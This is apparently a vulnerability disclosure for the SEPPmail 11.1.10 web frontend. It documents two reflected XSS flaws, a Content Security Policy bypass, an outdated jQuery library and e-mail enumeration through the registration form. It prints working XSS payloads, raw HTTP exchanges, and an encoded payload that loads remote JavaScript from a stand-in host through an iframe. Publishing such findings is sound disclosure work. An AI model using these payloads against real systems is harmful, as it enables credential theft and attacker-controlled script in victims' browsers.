Multiple vulnerabilities in SEPPmail 11.1.10

1. Reflected Cross-Site Scripting (XSS) via subject parameter (CVE-2021-31739)

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N, 6.1 Medium

The SEPPmail solution is vulnerable to a Cross-Site Scripting vulnerability (XSS), because user input is not correctly encoded in HTML attributes when returned by the server.

Impact: An attacker can execute arbitrary HTML/JavaScript code in the domain under which SEPPmail runs (for example securemail.example.org) in the target's browser and, for example, attempt to retrieve the target's username and password and send them to the attacker.

Details: During the security test it was found that the URL parameter subject is received, but is not correctly encoded and re-embedded in the HTML page. If a target person calls the following URL, the HTML code contained in the URL is subsequently executed:

https://securemail.example.org/web.app?subject=foobar%22%20value=pentagrid%20autofocus%20type=text%20><svg%20src=://example.org/assets/img/svg/svg_xss.svg%20width=999%20height=999>

The corresponding HTTP request with HTML code in the Parameter subject is:

GET /web.app?subject=foobar%22%20value=pentagrid%20autofocus%20type=text%20><svg%20src=://example.org/assets/img/svg/svg_xss.svg%20width=999%20height=999> HTTP/1.1
Host: securemail.example.org
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

And the corresponding HTTP response that embeds the HTML code from the request in the response is:

HTTP/1.1 400 ERROR
Date: Mon, 14 Dec 2020 09:47:19 GMT
Cache-control: private, no-cache, no-store
Pragma: no-cache
X-frame-options: DENY
Strict-Transport-Security: max-age=15552000; includeSubDomains
Content-length: 16302
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; connect-src 'self'; img-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none';
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Vary: Origin
Connection: close
Content-Type: text/html; charset=utf-8
Set-Cookie: […]; Path=/; Domain=.securemail.example.org; HTTPOnly

[…]
         <input type="hidden" name="rcpt" value="" />
         <input type="hidden" name="predefinedsubject" value="foobar" value=pentagrid autofocus type=text ><svg src=://example.org /assets/img/svg/svg_xss.svg width=999 height=999>" />
         <div class="panel panel-default" style="margin-bottom:10px;">
             <div class="panel-body">
                 <div class="form-horizontal"
[…]

In this case, the SVG image file is embedded as a placeholder in the page, but because of the Content Security Policy used, it is not loaded from the example.org page and thus no JavaScript is executed. However, the Content Security Policy bypass in finding 1.3 is applicable.

Precondition: A target must open the URL created by the attacker. Furthermore, the attacker must also find the Content Security Policy bypass to effectively exploit the problem.

2. Cross-Site Scripting vulnerability via recipient address (CVE-2021-31740)

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N, 6.1 Medium

For the recipient field in SEPPMail's web frontend, user input is not embedded correctly in the web page and therefore leads to cross-site scripting vulnerabilities (XSS).

Impact: An attacker can execute arbitrary JavaScript code in SEPPmail's domain and, for example, trick a target person into revealing credentials.

Details: If a recipient address with the following content is inserted in the SEPPmail web interface and then an attempt is made to send the e-mail, the JavaScript code contained is executed:

foo@bar<svg/onload='alert(1))'

Basically, this problem would not be exploitable and would represent a so-called Self-XSS, where a user could only attack himself. However, the application allows all parameters to be transferred in the URL, such as the session token. Thus, an attacker can use his own session to log the target in and immediately execute the XSS. However, this URL is then only valid as long as the included session is also valid:

https://securemail.example.org/web.app?session=Ufde[…]K&Uf[…]K=Uj[…]VT&op=send-mail&msgid=1607513954.6024&email=example@example.org&origtrackid=&origmsgid=&submit=yes&newto=foo@bar%3csvg%2fonload%3d%27alert%281%29%27&recipients%5b%5d=&subject=&uploadfile=&messagebody=

If a target person opens the URL, he or she is recognized as a logged-in attacker (because of the session ID passed along) and then the XSS is executed. With XSS, it would be possible for an attacker to display a login form, for example, in order to get the target person to enter login credentials. These could then be forwarded to the attacker.

Precondition: A target person must be tempted to open the attacker-specified URL. The attacker must also have his own access to the SEPPmail installation and be willing to pass on his associated session token to the target. In addition, the attack is time-limited to the validity of the session in the URL.

3. Bypassing weak content security policy (CSP)

CVSS:3.1, 0.0 Information

In order to make Cross-Site Scripting attacks more difficult, the website uses a Content Security Policy. However, this is not designed to be complete and can be bypassed by an attacker.

Impact: An attacker who finds a Cross-Site Scripting vulnerability on the website can also exploit it.

Details: The CSP is a mechanism to prevent XSS attacks (as in the previously described findings). However, this requires a strict and gap-less design of the CSP. SEPPMail's CSP is visible for every website visitor and has the following rules:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; connect-src 'self'; img-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none';

The unsafe-inline directive is particularly problematic. Inlined JavaScript is allowed here and thus the CSP supports common Cross-Site Scripting attacks. For example, if an attacker performs a Cross-Site Scripting attack using finding 2, but is unaware of the active SCP, he could use the following HTML code:

foo@bar<svg/src='https://example.org/'

However, since the CSP states default-src self, the browser does not reload images from the example.org page used here. The browser denies access with the following error message:

Refused to load the image 'https://example.org/' because it violates the following Content Security Policy directive: "img-src 'self'".

A similar error would occur if an attempt was made to load a JavaScript file from example.org.

However, it is problematic that the script source unsafe-inline is allowed to be used, i.e. the following XSS attack works because an embedded JavaScript code is included:

foo@bar<svg/onload='alert(1))'

Therefore, an attacker basically has the possibility to execute JavaScript. This can be exploited further to indirectly load and execute JavaScript from example.org. Usually there are always web pages on the used domain securemail.example.org that do not return HTTP header Content-Security-Policy, for example error pages like on the URL https://securemail.example.org/a that returns an unprotected error page:

HTTP/1.1 404 Not Found
Date: Wed, 09 Dec 2020 12:22:05 GMT
Strict-Transport-Security: max-age=15552000; includeSubDomains
Content-Length: 196
Connection: close
Content-Type: text/html; charset=iso-8859-1
Set-Cookie: […]; Path=/; Domain=securemail.example.org; HTTPOnly

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>

This can be used to load this error page in a separate IFrame:

foo@bar<svg/onload='frame=document.createElement("iframe");frame.src="/a";document.body.appendChild(frame);'

Afterwards, a new JavaScript element can be created, which is then loaded into the IFrame. Since no CSP applies to the IFrame (since the HTTP header is not returned on the IFrame URL), any JavaScript code can be loaded there, even from example.org:

foo@bar<svg/onload='frame=document.createElement("iframe");frame.src="/a";document.body.appendChild(frame);setTimeout(function(){script=document.createElement("script");script.src="//example.org/a.js";window.frames[0].document.head.appendChild(script);},3000);'

However, since in the payload used will be converted to lowercase, the JavaScript code must still be encoded. This results in the following attack code:

https://securemail.example.org/web.app?session=0H[…]E=z[…]I&op=send-mail&msgid=1607527930.5970&email=example@example.org&origtrackid=&origmsgid=&submit=yes&recipients[]=&subject=&uploadfile=&messagebody=&newto=foo@bar%3Csvg/onload=%27%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000061%26%230000100%26%230000111%26%230000099%26%230000117%26%230000109%26%230000101%26%230000110%26%230000116%26%230000046%26%230000099%26%230000114%26%230000101%26%230000097%26%230000116%26%230000101%26%230000069%26%230000108%26%230000101%26%230000109%26%230000101%26%230000110%26%230000116%26%230000040%26%230000034%26%230000105%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000034%26%230000041%26%230000059%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000046%26%230000115%26%230000114%26%230000099%26%230000061%26%230000034%26%230000047%26%230000118%26%230000049%26%230000047%26%230000034%26%230000059%26%230000100%26%230000111%26%230000099%26%230000117%26%230000109%26%230000101%26%230000110%26%230000116%26%230000046%26%230000098%26%230000111%26%230000100%26%230000121%26%230000046%26%230000097%26%230000112%26%230000112%26%230000101%26%230000110%26%230000100%26%230000067%26%230000104%26%230000105%26%230000108%26%230000100%26%230000040%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000041%26%230000059%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000061%26%230000100%26%230000111%26%230000099%26%230000117%26%230000109%26%230000101%26%230000110%26%230000116%26%230000046%26%230000099%26%230000114%26%230000101%26%230000097%26%230000116%26%230000101%26%230000069%26%230000108%26%230000101%26%230000109%26%230000101%26%230000110%26%230000116%26%230000040%26%230000034%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000034%26%230000041%26%230000059%26%230000097%26%230000108%26%230000101%26%230000114%26%230000116%26%230000040%26%230000034%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000032%26%230000099%26%230000114%26%230000101%26%230000097%26%230000116%26%230000101%26%230000100%26%230000034%26%230000041%26%230000059%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000046%26%230000115%26%230000114%26%230000099%26%230000061%26%230000034%26%230000047%26%230000047%26%230000101%26%230000120%26%230000097%26%230000109%26%230000112%26%230000108%26%230000101%26%230000046%26%230000111%26%230000114%26%230000103%26%230000047%26%230000053%26%230000046%26%230000106%26%230000115%26%230000034%26%230000059%26%230000097%26%230000108%26%230000101%26%230000114%26%230000116%26%230000040%26%230000034%26%230000115%26%230000114%26%230000099%26%230000032%26%230000115%26%230000112%26%230000101%26%230000099%26%230000105%26%230000102%26%230000105%26%230000101%26%230000100%26%230000034%26%230000041%26%230000059%26%230000119%26%230000105%26%230000110%26%230000100%26%230000111%26%230000119%26%230000046%26%230000102%26%230000114%26%230000097%26%230000109%26%230000101%26%230000115%26%230000091%26%230000048%26%230000093%26%230000046%26%230000100%26%230000111%26%230000099%26%230000117%26%230000109%26%230000101%26%230000110%26%230000116%26%230000046%26%230000104%26%230000101%26%230000097%26%230000100%26%230000046%26%230000097%26%230000112%26%230000112%26%230000101%26%230000110%26%230000100%26%230000067%26%230000104%26%230000105%26%230000108%26%230000100%26%230000040%26%230000115%26%230000099%26%230000114%26%230000105%26%230000112%26%230000116%26%230000041%26%230000059%26%230000097%26%230000108%26%230000101%26%230000114%26%230000116%26%230000040%26%230000034%26%230000097%26%230000112%26%230000112%26%230000101%26%230000110%26%230000100%26%230000101%26%230000100%26%230000034%26%230000041%26%230000059%27

An attacker can then deliver arbitrary JavaScript code in the JavaScript file on example.org. The attacker also has the possibility to perform the attack covertly in the background without IFrames or similar elements being visible.

Precondition: An attacker must first find an exploitable Cross-Site Scripting vulnerability. In addition, user interaction is required for the attack to be carried out, which may involve a visit to one of the attacker's websites or, for example, an advertisement displayed on a third-party website.

4. Vulnerable version of the jQuery JavaScript library

CVSS:3.1, 0.0 Information

The SEPPmail appliance uses a version of a JavaScript library that has known vulnerabilities.

Impact: If an attacker finds a place where the vulnerability can be exploited, it results in a Cross-Site Scripting attack on the website.

Details: The JavaScript library jQuery, which is used on the SEPPmail appliance website, is available at the following URL:

https://securemail.example.org/js/jquery-3.4.1.min.js

Version 3.5 resolves a potential cross-site scripting issue, as described in the corresponding release notes.

Precondition: An attacker must first find a place where jQuery is used in an exploitable form.

5. Reachable registration form and enumeration of already registered e-mail addresses

CVSS:3.1, 0.0 Information

Although the functionality for user self-registration has been disabled in the SEPPmail installation Pentagrid reviewed, an attacker can register a new user but could not activate it.

Impact: The problem has no effect because the user account cannot be activated in the tested installation. If an attacker succeeds in activating it, he would be able to use the logged-in area of SEPPmail without an account being created for the attacker. An attacker can also try existing e-mail addresses to find out whether they are already registered on the portal.

Details: The SEPPmail instance used had the following setting disabled: Allow account self-registration in GINA portal without initial mail. If an attacker requests the following URL, a new account is created for the email contained in the URL:

https://securemail.example.org/web.app?session=&chksum=&op=accountinit&email=example@example.org&seppmailname=&uilang=e&newpw=11111111&newpw2=11111111&question=In+what+town+or+city+was+your+first+full+time+job%3f&question-preset=0&answer=111&telephone=&toconfirm=yes

If an email address is used in the URL which is already registered, an error is returned saying that a new user could not be created. Thus, an attacker can try different email addresses to find out whether a specific email address is already registered in SEPPmail.

If a not yet registered e-mail address is used, the account will be registered again. However, no activation e-mail was subsequently delivered on the system. It is unclear why this is the case, but the e-mail was blocked when it was sent. Whether a user was created internally in the SEPPmail database was not investigated.

Precondition: The attacker can only enumerate e-mail addresses that have already been registered. Further attacks would require additional vulnerabilities, for example, those that allow an account to be activated.